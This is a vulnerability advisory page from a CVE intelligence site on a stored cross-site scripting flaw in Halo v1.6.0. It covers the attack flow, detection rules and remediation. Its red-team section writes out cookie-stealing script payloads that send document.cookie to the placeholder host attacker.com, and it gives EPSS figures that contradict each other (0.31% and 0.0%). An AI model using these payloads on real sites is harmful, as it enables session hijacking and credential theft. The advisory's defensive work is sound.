☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-33528

CVE-2023-33528 Cross-Site Scripting in Halo
📅 PUBLISHED: 2024-03-28 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-33528 identifies a stored Cross-Site Scripting (XSS) vulnerability in Halo v1.6.0, an open-source content management system. The flaw allows an authenticated attacker with sufficient privileges to inject arbitrary JavaScript into the application, which is then executed in the browsers of other users viewing the affected content. This can lead to session hijacking, credential theft, and defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains significant for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Halo is a Java-based application distributed via GitHub releases and Docker images. The XSS vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their Halo installation by checking checksums and ensuring no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. Based on the vulnerability type (stored XSS) and typical impact, a reasonable estimate is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) – requires an authenticated user with content creation privileges.
  • User Interaction (UI): Required (R) – victim must view the malicious content.
  • Scope (S): Changed (C) – the injected script can access resources beyond the vulnerable component.
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can have cascading effects if exploited against administrators.

Deep Dive & Mechanics

The vulnerability resides in the content creation/editing functionality of Halo v1.6.0. The application fails to properly sanitize user-supplied input when creating or editing posts, pages, or comments. An attacker can inject malicious HTML/JavaScript code into fields such as the post title, body, or custom fields. When another user (including an administrator) views the affected content, the injected script executes in the context of their session.

Root Cause: Insufficient output encoding and lack of input validation for rich text fields. The application likely uses a WYSIWYG editor that does not strip dangerous HTML tags or JavaScript event handlers.

Attack Flow:

  1. Attacker authenticates to Halo with a role that allows content creation (e.g., author, editor).
  2. Attacker creates a new post or edits an existing one, injecting a payload like <script>alert('XSS')</script> or a more sophisticated payload for session theft.
  3. The payload is stored in the database without sanitization.
  4. When an administrator or other user views the post, the script executes.
  5. The attacker can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the content rendering pipeline. A typical vulnerable pattern in Java/Spring applications is:

Vulnerable Code (Conceptual):

// In a controller or service that renders content
String content = post.getContent();
model.addAttribute("content", content);
// In the template: ${content} - no escaping

Patched Code (Conceptual):

// Use a template engine that auto-escapes HTML, e.g., Thymeleaf with th:utext for unescaped
// Or manually escape:
import org.springframework.web.util.HtmlUtils;
String safeContent = HtmlUtils.htmlEscape(post.getContent());
model.addAttribute("content", safeContent);

Recommendation: Until an official patch is released, administrators should implement a Web Application Firewall (WAF) rule to block common XSS payloads and consider disabling the WYSIWYG editor or restricting content creation to trusted users only.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a Halo v1.6.0 instance with an account that has content creation privileges.
  • A browser or tool like Burp Suite to intercept and modify requests.

Step-by-Step Exploitation:

  1. Log in to Halo as an author/editor.
  2. Navigate to "Posts" -> "New Post".
  3. In the post title or body, inject the following payload:
    <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
    
  4. Publish the post.
  5. When an administrator views the post, their cookies are sent to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Using Burp Suite:

  1. Intercept the POST request to /api/content/posts or similar endpoint.
  2. Modify the content or title parameter to include the XSS payload.
  3. Forward the request.

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing <script>, onerror=, onload=, or other XSS indicators.
  • Use a WAF to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Upgrade to a newer version of Halo if available (check GitHub releases).
  • If no patch, manually sanitize input by modifying the source code or using a reverse proxy with XSS filtering.
  • Restrict content creation privileges to a minimal set of trusted users.
  • Enable HTTP-only and Secure flags on session cookies.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to unknown domains containing ?cookie= or similar parameters.
  • Suspicious POST requests to /api/content/posts or /api/content/pages with HTML/JavaScript in parameters.

File IOCs:

  • Modified database entries in the posts or comments table containing <script> tags.
  • Log entries with XSS or script in the request body.

Host IOCs:

  • Unexpected JavaScript files in the web root (if attacker uploads a malicious file).
  • Unusual processes or network connections from the Halo server.

Detection Engineering

YARA Rule

rule CVE_2023_33528_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Halo v1.6.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-33528"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2023-33528 XSS Attempt in Halo
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting Halo v1.6.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-33528 XSS Payload in Halo"; flow:to_server,established; content:"POST"; http_method; content:"/api/content/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Halo instance if it is exposed to the internet.
  2. Restrict content creation privileges to only trusted users.
  3. Implement a WAF rule to block XSS payloads (e.g., ModSecurity rule).
  4. Monitor logs for exploitation attempts.

Long-Term Fix:

  • Vendor Patch: Monitor the Halo GitHub repository for an official fix. If none is forthcoming, consider forking the project and applying a manual patch.
  • Code Fix: In the content rendering code, ensure all user-supplied data is HTML-encoded before output. Use a library like OWASP Java Encoder.
  • Upgrade: If a patched version is released, upgrade immediately.

Workaround:

  • Disable the WYSIWYG editor and use plain text input only.
  • Use a reverse proxy (e.g., Nginx) with a Lua script to filter XSS patterns.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-33528/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.